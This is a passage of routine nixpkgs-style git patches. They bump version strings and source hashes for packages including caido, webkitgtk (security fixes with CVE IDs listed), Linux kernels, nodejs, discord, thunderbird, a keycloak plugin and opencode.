+  version = "0.48.1";
   cli = fetchurl {
     url = "https://caido.download/releases/v${version}/caido-cli-v${version}-linux-x86_64.tar.gz";
-    hash = "sha256-9481W8AsgxCCvdTkCy2kXH6CG72xP5S3kejjxcXLVkg=";
+    hash = "sha256-UdeC3BZmQVUdWmwQTC27ptF0+lZgCXpF8yXaf8Bjpbo=";
   };
   desktop = fetchurl {
     url = "https://caido.download/releases/v${version}/caido-desktop-v${version}-linux-x86_64.AppImage";
-    hash = "sha256-XIRjuvBxmfdHnizbVOh7kWKHm4OkUDwuSSNYzjJW/dA=";
+    hash = "sha256-4KQpgO8Cb+TkKuDOK+bAE0nOhlwjkSUVXLHJmHaj6NQ=";
   };
   appimageContents = appimageTools.extractType2 {
     inherit pname version;

From 145344dfe80c8bdc3d9252ebfbc9c65957ccfbec Mon Sep 17 00:00:00 2001
From: blackzeshi <105582686+zeshi09@users.noreply.github.com>
Date: Wed, 2 Jul 2025 11:14:25 +0500
Subject: [PATCH 3097/4511] caido: 0.48.1 -> 0.49.0

(cherry picked from commit e795b424aa66c11fd5757546fffe44a8a19d99ed)
---
 pkgs/by-name/ca/caido/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ca/caido/package.nix b/pkgs/by-name/ca/caido/package.nix
index c9953ffc5013..2ed7a1a07b8d 100644
--- a/pkgs/by-name/ca/caido/package.nix
+++ b/pkgs/by-name/ca/caido/package.nix
@@ -15,14 +15,14 @@ let
     "cli"
     "desktop"
   ];
-  version = "0.48.1";
+  version = "0.49.0";
   cli = fetchurl {
     url = "https://caido.download/releases/v${version}/caido-cli-v${version}-linux-x86_64.tar.gz";
-    hash = "sha256-UdeC3BZmQVUdWmwQTC27ptF0+lZgCXpF8yXaf8Bjpbo=";
+    hash = "sha256-pPFTN/KjwZZXJvFHttw3dQr7AQnIIEkyxlsWEx61Kbc=";
   };
   desktop = fetchurl {
     url = "https://caido.download/releases/v${version}/caido-desktop-v${version}-linux-x86_64.AppImage";
-    hash = "sha256-4KQpgO8Cb+TkKuDOK+bAE0nOhlwjkSUVXLHJmHaj6NQ=";
+    hash = "sha256-bvK2SdFrIpX/cJghwW0QJ6wkTndRIZZ3qf7dHqeZTgY=";
   };
   appimageContents = appimageTools.extractType2 {
     inherit pname version;

From d5ff56670315777785cd31a78038dc4b89efc725 Mon Sep 17 00:00:00 2001
From: blackzeshi <105582686+zeshi09@users.noreply.github.com>
Date: Fri, 25 Jul 2025 23:52:32 +0500
Subject: [PATCH 3098/4511] caido: 0.49.0 -> 0.50.0

(cherry picked from commit d4dc77991f3ac30cb22a9337107f5f7f62ba0031)
---
 pkgs/by-name/ca/caido/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ca/caido/package.nix b/pkgs/by-name/ca/caido/package.nix
index 2ed7a1a07b8d..310c3913605f 100644
--- a/pkgs/by-name/ca/caido/package.nix
+++ b/pkgs/by-name/ca/caido/package.nix
@@ -15,14 +15,14 @@ let
     "cli"
     "desktop"
   ];
-  version = "0.49.0";
+  version = "0.50.0";
   cli = fetchurl {
     url = "https://caido.download/releases/v${version}/caido-cli-v${version}-linux-x86_64.tar.gz";
-    hash = "sha256-pPFTN/KjwZZXJvFHttw3dQr7AQnIIEkyxlsWEx61Kbc=";
+    hash = "sha256-Hb+Ul/DAK+ciay4N56r/lX4q43u0gWrJv5o03rmoqhk=";
   };
   desktop = fetchurl {
     url = "https://caido.download/releases/v${version}/caido-desktop-v${version}-linux-x86_64.AppImage";
-    hash = "sha256-bvK2SdFrIpX/cJghwW0QJ6wkTndRIZZ3qf7dHqeZTgY=";
+    hash = "sha256-GLEtAm2XQCYjgYeZpQUTd46sPbsxdDoanLBYNpHT1Do=";
   };
   appimageContents = appimageTools.extractType2 {
     inherit pname version;

From bbc6e664f8e25ef5c09ad3339ec486e5a5bad328 Mon Sep 17 00:00:00 2001
From: blackzeshi <105582686+zeshi09@users.noreply.github.com>
Date: Wed, 30 Jul 2025 00:21:13 +0500
Subject: [PATCH 3099/4511] caido: 0.50.0 -> 0.50.1

(cherry picked from commit 149109083df6011b797290a3f6148df4099d7f6a)
---
 pkgs/by-name/ca/caido/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ca/caido/package.nix b/pkgs/by-name/ca/caido/package.nix
index 310c3913605f..ebc0bce399ce 100644
--- a/pkgs/by-name/ca/caido/package.nix
+++ b/pkgs/by-name/ca/caido/package.nix
@@ -15,14 +15,14 @@ let
     "cli"
     "desktop"
   ];
-  version = "0.50.0";
+  version = "0.50.1";
   cli = fetchurl {
     url = "https://caido.download/releases/v${version}/caido-cli-v${version}-linux-x86_64.tar.gz";
-    hash = "sha256-Hb+Ul/DAK+ciay4N56r/lX4q43u0gWrJv5o03rmoqhk=";
+    hash = "sha256-mHB0nyU0nQg7duPcQf3NNz5vcnIfZcPLkAc+LoWdH58=";
   };
   desktop = fetchurl {
     url = "https://caido.download/releases/v${version}/caido-desktop-v${version}-linux-x86_64.AppImage";
-    hash = "sha256-GLEtAm2XQCYjgYeZpQUTd46sPbsxdDoanLBYNpHT1Do=";
+    hash = "sha256-mVK/valleYH3qZdxRBCbmC7MTEE/Cn6MJwZviMgHL08=";
   };
   appimageContents = appimageTools.extractType2 {
     inherit pname version;

From 16d0a7d0c6fa24419795d64f442e904d4605d178 Mon Sep 17 00:00:00 2001
From: Bobby Rong <rjl931189261@126.com>
Date: Fri, 1 Aug 2025 23:33:40 +0800
Subject: [PATCH 3100/4511] =?UTF-8?q?webkitgtk=5F6=5F0:=202.48.3=20?=
 =?UTF-8?q?=E2=86=92=202.48.5?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://github.com/WebKit/WebKit/compare/webkitgtk-2.48.3...webkitgtk-2.48.5
https://webkitgtk.org/security/WSA-2025-0005.html
https://webkitgtk.org/2025/07/30/webkitgtk2.48.4-released.html
https://webkitgtk.org/2025/08/01/webkitgtk2.48.5-released.html

CVE-2025-31273 CVE-2025-31278 CVE-2025-43211 CVE-2025-43212
CVE-2025-43216 CVE-2025-43227 CVE-2025-43228 CVE-2025-43240
CVE-2025-43265 CVE-2025-6558

(cherry picked from commit f1deb8b4ac88efed89ae5027bb5e8c57063268fa)
---
 pkgs/development/libraries/webkitgtk/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/webkitgtk/default.nix b/pkgs/development/libraries/webkitgtk/default.nix
index 5638e03f187c..9cf22fd7544c 100644
--- a/pkgs/development/libraries/webkitgtk/default.nix
+++ b/pkgs/development/libraries/webkitgtk/default.nix
@@ -80,7 +80,7 @@
 # https://webkitgtk.org/2024/10/04/webkitgtk-2.46.html recommends building with clang.
 clangStdenv.mkDerivation (finalAttrs: {
   pname = "webkitgtk";
-  version = "2.48.3";
+  version = "2.48.5";
   name = "${finalAttrs.pname}-${finalAttrs.version}+abi=${
     if lib.versionAtLeast gtk3.version "4.0" then
       "6.0"
@@ -100,7 +100,7 @@ clangStdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://webkitgtk.org/releases/webkitgtk-${finalAttrs.version}.tar.xz";
-    hash = "sha256-1NxZcPD8alKf9/1nvL+rK7tekb54my6SeWQLMhengsM=";
+    hash = "sha256-u2TtnRz9WOi16JzK1x3TGt/tVjNrrXaVAxrQtmjhmHw=";
   };
 
   patches = lib.optionals clangStdenv.hostPlatform.isLinux [

From 02549e2b78baccd372704b87093539dac8d7e26e Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Fri, 1 Aug 2025 23:22:22 +0000
Subject: [PATCH 3101/4511] linux_6_15: 6.15.8 -> 6.15.9

(cherry picked from commit a0713e8668600c2d8eaa352f2f85f1ace64238fe)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 4207dbe6b729..958a9ff81265 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -28,8 +28,8 @@
         "hash": "sha256:0cr9hi0m7p9jf0rdblign1ya40rckab9axiwxb62r3gr2w9sy4a8"
     },
     "6.15": {
-        "version": "6.15.8",
-        "hash": "sha256:19i87zpq3zhpg09sdirnzys2s2yrv9xn8mpibl1a6qmr2sy94znk"
+        "version": "6.15.9",
+        "hash": "sha256:0zcma8ycdwwzd4yci9752acsv85wh27lahclh5x2yc4jakw3lkz9"
     },
     "6.16": {
         "version": "6.16",

From fbbaafd2ef239187238988f95f10847bc9ad4033 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Fri, 1 Aug 2025 23:22:24 +0000
Subject: [PATCH 3102/4511] linux_6_12: 6.12.40 -> 6.12.41

(cherry picked from commit 1bc4192ed0663d45b29a62f360ac5ca42cc36fae)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 958a9ff81265..82c83644d472 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -24,8 +24,8 @@
         "hash": "sha256:1flpvypy88rmp2sbz3z4fxlgdylm5lxb5832bgsi8j5iam6yrh6n"
     },
     "6.12": {
-        "version": "6.12.40",
-        "hash": "sha256:0cr9hi0m7p9jf0rdblign1ya40rckab9axiwxb62r3gr2w9sy4a8"
+        "version": "6.12.41",
+        "hash": "sha256:09qfpxyxi3z8cd64r2r5mxvh54a5sx8p5mk4d50y4ga2k6pa66bb"
     },
     "6.15": {
         "version": "6.15.9",

From 49e76d4e080e680b5e87151b3e63b331755a2590 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Fri, 1 Aug 2025 23:22:26 +0000
Subject: [PATCH 3103/4511] linux_6_6: 6.6.100 -> 6.6.101

(cherry picked from commit 370770e50841fdcdea8cec4eeee09e2c524a90c9)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 82c83644d472..2679c02e760f 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -20,8 +20,8 @@
         "hash": "sha256:0fm73yqzbzclh2achcj8arpg428d412k2wgmlfmyy6xzb1762qrx"
     },
     "6.6": {
-        "version": "6.6.100",
-        "hash": "sha256:1flpvypy88rmp2sbz3z4fxlgdylm5lxb5832bgsi8j5iam6yrh6n"
+        "version": "6.6.101",
+        "hash": "sha256:1h71zbqlsxcafrk218s0rip9rdrj0fzqvsl81ndqnlrnjy3g4kwc"
     },
     "6.12": {
         "version": "6.12.41",

From 281aac132f6cd84252a5a242cde14c183f600cbc Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Thu, 31 Jul 2025 23:56:37 +0200
Subject: [PATCH 3104/4511] nodejs_24: 24.4.1 -> 24.5.0

(cherry picked from commit 4400a454f328c3f5a998ff0a29bb4c0afc890403)
---
 pkgs/development/web/nodejs/v24.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/web/nodejs/v24.nix b/pkgs/development/web/nodejs/v24.nix
index ddb9d040db8b..5fd447dd5031 100644
--- a/pkgs/development/web/nodejs/v24.nix
+++ b/pkgs/development/web/nodejs/v24.nix
@@ -17,8 +17,8 @@ let
 in
 buildNodejs {
   inherit enableNpm;
-  version = "24.4.1";
-  sha256 = "adb79ca0987486ed66136213da19ff17ef6724dcb340c320e010c9442101652f";
+  version = "24.5.0";
+  sha256 = "f1ba96204724bd1c6de7758e08b3718ba0b45d87fb3bebd7e30097874ccc8130";
   patches =
     (
       if (stdenv.hostPlatform.emulatorAvailable buildPackages) then

From fe6d0f34fad0fb54afd76b5e7b4e692c501594f4 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 1 Aug 2025 16:45:04 +0000
Subject: [PATCH 3105/4511] discord: 0.0.102 -> 0.0.103

(cherry picked from commit 6392dae38d9634d907d8a21f387ce51b54a2106b)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index c7ef0f2ec94e..ff922f8348db 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -9,7 +9,7 @@ let
   versions =
     if stdenv.hostPlatform.isLinux then
       {
-        stable = "0.0.102";
+        stable = "0.0.103";
         ptb = "0.0.152";
         canary = "0.0.723";
         development = "0.0.84";
@@ -26,7 +26,7 @@ let
     x86_64-linux = {
       stable = fetchurl {
         url = "https://stable.dl2.discordapp.net/apps/linux/${version}/discord-${version}.tar.gz";
-        hash = "sha256-xnl67Ty9uuAjOV5eWnR7xG+PR5J4M7nYc1hjRBjbaOI=";
+        hash = "sha256-WNLyBBQFqAEiPpv1JpoFrgKgCH3PBOTxFWxdHcqNAl8=";
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";

From 51c8e5070a50a81dea02fede91f27b5f10b5678c Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 1 Aug 2025 16:46:32 +0000
Subject: [PATCH 3106/4511] discord-canary: 0.0.723 -> 0.0.730

(cherry picked from commit c665ae799cb1c3559048e23a184dce965103792d)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index ff922f8348db..98c3ccde807f 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -11,7 +11,7 @@ let
       {
         stable = "0.0.103";
         ptb = "0.0.152";
-        canary = "0.0.723";
+        canary = "0.0.730";
         development = "0.0.84";
       }
     else
@@ -34,7 +34,7 @@ let
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";
-        hash = "sha256-k1ClTRaYsb5rPV8AFtVg3iEZ44z5gmcBnOJgsQq9O1Y=";
+        hash = "sha256-lDmhJhhI9oD89fIGctcalO0pf2SjikRdsIWVIpkfGpk=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/linux/${version}/discord-development-${version}.tar.gz";

From 96ec2b285df91c55c95eeb20a8e497824e2b3123 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 1 Aug 2025 16:48:04 +0000
Subject: [PATCH 3107/4511] discord-ptb: 0.0.152 -> 0.0.154

(cherry picked from commit 6768fe8887e4457d8195c18cd688e74d89060cc9)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 98c3ccde807f..3d2723557bf7 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -10,7 +10,7 @@ let
     if stdenv.hostPlatform.isLinux then
       {
         stable = "0.0.103";
-        ptb = "0.0.152";
+        ptb = "0.0.154";
         canary = "0.0.730";
         development = "0.0.84";
       }
@@ -30,7 +30,7 @@ let
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";
-        hash = "sha256-GbLEAu6gchwkkupU6k6i7bpdMVnCqB74HDYxyTt3J/w=";
+        hash = "sha256-ZAjewH/lOby3O7dQXy4igKd0DiZuwuhBitSlbr3hyjs=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";

From 6e888e8ceae2ff174777cbd1d32d5d073c50b998 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 1 Aug 2025 16:51:35 +0000
Subject: [PATCH 3108/4511] pkgsCross.aarch64-darwin.discord: 0.0.354 ->
 0.0.355

(cherry picked from commit 610ad48b610a6e89213a0c21561eb0d15b362b11)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 3d2723557bf7..7def58b1375e 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -16,7 +16,7 @@ let
       }
     else
       {
-        stable = "0.0.354";
+        stable = "0.0.355";
         ptb = "0.0.182";
         canary = "0.0.829";
         development = "0.0.97";
@@ -44,7 +44,7 @@ let
     x86_64-darwin = {
       stable = fetchurl {
         url = "https://stable.dl2.discordapp.net/apps/osx/${version}/Discord.dmg";
-        hash = "sha256-JucQ4EPWSMKAKvZhovij8YGWLhZ3IhnXoskce3RG0Do=";
+        hash = "sha256-RV/qyguxpdgL0T6AJHvP40LzFxSLI57bCGEpgZxLZmI=";
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/osx/${version}/DiscordPTB.dmg";

From ab3d831ca49671679284c532fb5239b916604899 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 1 Aug 2025 16:52:47 +0000
Subject: [PATCH 3109/4511] pkgsCross.aarch64-darwin.discord-canary: 0.0.829 ->
 0.0.836

(cherry picked from commit cf3397d1d3d9f233f482bbe6acec02b4b45feed1)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 7def58b1375e..124466226e3b 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -18,7 +18,7 @@ let
       {
         stable = "0.0.355";
         ptb = "0.0.182";
-        canary = "0.0.829";
+        canary = "0.0.836";
         development = "0.0.97";
       };
   version = versions.${branch};
@@ -52,7 +52,7 @@ let
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/osx/${version}/DiscordCanary.dmg";
-        hash = "sha256-pa7nJMJU6jPNcusIJ93aAH8AFQl93z1FX/sv6+M4WME=";
+        hash = "sha256-XVznNMnhEgX2YXUj0+5cQNxB2RR2ybUS3UcHqlSiHOk=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/osx/${version}/DiscordDevelopment.dmg";

From 03d3478185b4c12b3ac1a6426b082fbda0097b3d Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 1 Aug 2025 16:54:08 +0000
Subject: [PATCH 3110/4511] pkgsCross.aarch64-darwin.discord-ptb: 0.0.182 ->
 0.0.184

(cherry picked from commit abeeca7812f7e36bb503387741bcc0410236c096)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 124466226e3b..ee2ef0629f68 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -17,7 +17,7 @@ let
     else
       {
         stable = "0.0.355";
-        ptb = "0.0.182";
+        ptb = "0.0.184";
         canary = "0.0.836";
         development = "0.0.97";
       };
@@ -48,7 +48,7 @@ let
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/osx/${version}/DiscordPTB.dmg";
-        hash = "sha256-yL3NSjY3W1w1gfw7w7zdCgVcov18PtrT8RmcwgQLA6U=";
+        hash = "sha256-BWsnv22blA+1oAWGbYxXgwo0i9LvaAAqjUuwSRlfkTw=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/osx/${version}/DiscordCanary.dmg";

From 42eb51f96f85dd6786691ab98fb5898f85509a07 Mon Sep 17 00:00:00 2001
From: "nixpkgs-ci[bot]" <190413589+nixpkgs-ci[bot]@users.noreply.github.com>
Date: Sat, 2 Aug 2025 10:03:47 +0200
Subject: [PATCH 3111/4511] thunderbird-128: 128.12.0esr -> 128.13.0esr
 (#428534)

(cherry picked from commit 67e8b4cc7e65881feab8670da492d4eb0d47bebb)

Security fixes only:
https://www.thunderbird.net/en-US/thunderbird/128.13.0esr/releasenotes/
---
 .../networking/mailreaders/thunderbird/packages.nix           | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
index 95476deafc6e..4ad09b4434b3 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
@@ -108,8 +108,8 @@ rec {
   thunderbird-128 = common {
     applicationName = "Thunderbird ESR";
 
-    version = "128.12.0esr";
-    sha512 = "4566ae8347e959612a288524753416f5b730757f10a067b6eb11139055cc1fc5d63d49636e798e9b77588896c8dbc0f2acc189ebd29d95a5166e7bc8f2c35e30";
+    version = "128.13.0esr";
+    sha512 = "0439ff3bf8549c68778a2bf715da82b45a9e97c2ff4a8d06147d1b65c13031489a4126889a5a561484af385c428595f9d343fb6e266beeb923d4671665f2dbdc";
 
     updateScript = callPackage ./update.nix {
       attrPath = "thunderbirdPackages.thunderbird-128";

From 580f5368af5ed2b568c44e1842d8e2fc219de310 Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Mon, 21 Jul 2025 13:44:52 +0200
Subject: [PATCH 3112/4511] keycloak.plugins.keycloak-restrict-client-auth:
 24.0.0 -> 26.1.0

https://github.com/sventorben/keycloak-restrict-client-auth/releases/tag/v25.0.0
https://github.com/sventorben/keycloak-restrict-client-auth/releases/tag/v26.0.0
https://github.com/sventorben/keycloak-restrict-client-auth/releases/tag/v26.1.0
(cherry picked from commit 81cd6de5c8a95da21af087b366c5e53c3681d8e6)
---
 .../ke/keycloak/keycloak-restrict-client-auth/default.nix   | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ke/keycloak/keycloak-restrict-client-auth/default.nix b/pkgs/by-name/ke/keycloak/keycloak-restrict-client-auth/default.nix
index 35b6a01ded3f..3f6edb39979c 100644
--- a/pkgs/by-name/ke/keycloak/keycloak-restrict-client-auth/default.nix
+++ b/pkgs/by-name/ke/keycloak/keycloak-restrict-client-auth/default.nix
@@ -6,16 +6,16 @@
 
 maven.buildMavenPackage rec {
   pname = "keycloak-restrict-client-auth";
-  version = "24.0.0";
+  version = "26.1.0";
 
   src = fetchFromGitHub {
     owner = "sventorben";
     repo = "keycloak-restrict-client-auth";
     rev = "v${version}";
-    hash = "sha256-Pk0tj8cTHSBwVIzINE7GLA5b/eI97wuOTvO7UoXBStM=";
+    hash = "sha256-nQ2AwXhSUu5RY/BbxXE2OXgEb7Zf6FfrGP5tfbgAXk8=";
   };
 
-  mvnHash = "sha256-Pk2yYuBqGs4k1KwaU06RQe1LpohZu0VI1pHEUBU3EUE=";
+  mvnHash = "sha256-32un0gcpFI5wU9eShASzVnXmdhu3e+55iC3GBX/2yko=";
 
   installPhase = ''
     runHook preInstall

From 0df28ec39fa7298e0fa03b17acd7573748f8e11f Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Sat, 2 Aug 2025 10:21:04 +0200
Subject: [PATCH 3113/4511] opencode: fix missing `tree-sitter-htesyypn.node`
 module runtime error

Added `tree-sitter` to `buildInputs` to fix runtime error

```sh
ResolveMessage: Cannot find module '/$bunfs/root/../../../tree-sitter-
htesyypn.node' from '/$bunfs/root/opencode'
```

when command `/init` is executed when the project doesn't yet contain an
`AGENTS.md` file.

Closes #430293

(cherry picked from commit 0eb1203a178bc98fdf4385b6d58dea9904b12fea)
---
 pkgs/by-name/op/opencode/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 2a6a37040f33..b9893fc5f257 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -7,6 +7,7 @@
   models-dev,
   nix-update-script,
   testers,
+  tree-sitter,
   writableTmpDirAsHomeHook,
 }:
 
@@ -107,6 +108,8 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     outputHashMode = "recursive";
   };
 
+  buildInputs = [ tree-sitter ];
+
   nativeBuildInputs = [
     bun
     models-dev

From dcd0ee655b5d3047267cbf88b9786ad98d7c5195 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Sat, 2 Aug 2025 10:09:04 +0200
Subject: [PATCH 3114/4511] opencode: 0.3.110 -> 0.3.112

(cherry picked from commit d4123ff1437c6006a07f51e323694db032f24bd9)
---
 pkgs/by-name/op/opencode/package.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index b9893fc5f257..465a4287c8fe 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -13,10 +13,10 @@
 
 let
   opencode-node-modules-hash = {
-    "aarch64-darwin" = "sha256-U/pDT9bxwsMf7E/LywxVasqNC46cF+GCqbrUmcVtzTE=";
-    "aarch64-linux" = "sha256-LOy/k8yeUEDe3FFDAgXGJ2BVIxMFy/Js0cgFbtThiDo=";
-    "x86_64-darwin" = "sha256-lZRV/CqGXgvAtzFZS4w9ry5yqHT4EYuQ4exuDdXCxBY=";
-    "x86_64-linux" = "sha256-qW/5VKxGuIARVOMPflET74mvIMootj4QHBt2X9sH094=";
+    "aarch64-darwin" = "sha256-QfsPK6iPuXXKpT3z1SUDdvCx3uT+U2IZy4msH8UiFg8=";
+    "aarch64-linux" = "sha256-/BpbECRBxLOz+YEQrEHNrtHSr/BaLOrAkJXH0TBHjFE=";
+    "x86_64-darwin" = "sha256-KA3jaU7BD7lueKBuM9cTJuEby6AC0E03JYZMKRxceqY=";
+    "x86_64-linux" = "sha256-us6m4Iwaf+zS3NBSoOEAVBpHoyXPDnt+P9/D/Qbui+Y=";
   };
   bun-target = {
     "aarch64-darwin" = "bun-darwin-arm64";
@@ -27,12 +27,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.3.110";
+  version = "0.3.112";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-2fvUSbQWBxjXLRfVFwJ6VNO2tx+qGa+IDRCSwFPqw+o=";
+    hash = "sha256-BeUgZUzuphQ1gqPnDnKP2HMy5nyoD5au4AekGT2deIc=";
   };
 
   tui = buildGoModule {

From bcd0355da7718c444ce46641e6363d2544c8908b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 25 Jun 2025 01:19:52 +0000
Subject: [PATCH 3115/4511] linuxPackages.xone: 0.3.1 -> 0.3.2

(cherry picked from commit 185d47262bb1d4413782a2b6650a51317495447d)
---
 pkgs/os-specific/linux/xone/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/xone/default.nix b/pkgs/os-specific/linux/xone/default.nix
index 0a53277ff9bf..c16a2f413144 100644
--- a/pkgs/os-specific/linux/xone/default.nix
+++ b/pkgs/os-specific/linux/xone/default.nix
@@ -6,13 +6,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "xone";
-  version = "0.3.1";
+  version = "0.3.2";
 
   src = fetchFromGitHub {
     owner = "dlundqvist";
     repo = "xone";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-qMZlQgAe5vB5zfuhyK7EBxIwfhnC5MvnF/qr3BGnDms=";
+    hash = "sha256-sX+oN7H0Okl+3yYwbIFoHU8q2pOcMHQcRqQkmnMXSps=";
   };
 
   setSourceRoot = ''

From 603cc066651de527fe0de2877f09cb338cff77d7 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 4 Jul 2025 21:04:05 +0000
Subject: [PATCH 3116/4511] linuxPackages.xone: 0.3.2 -> 0.3.4

(cherry picked from commit 864ff8b60cfcef1680adc63b1dd03211463f8940)
---
 pkgs/os-specific/linux/xone/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

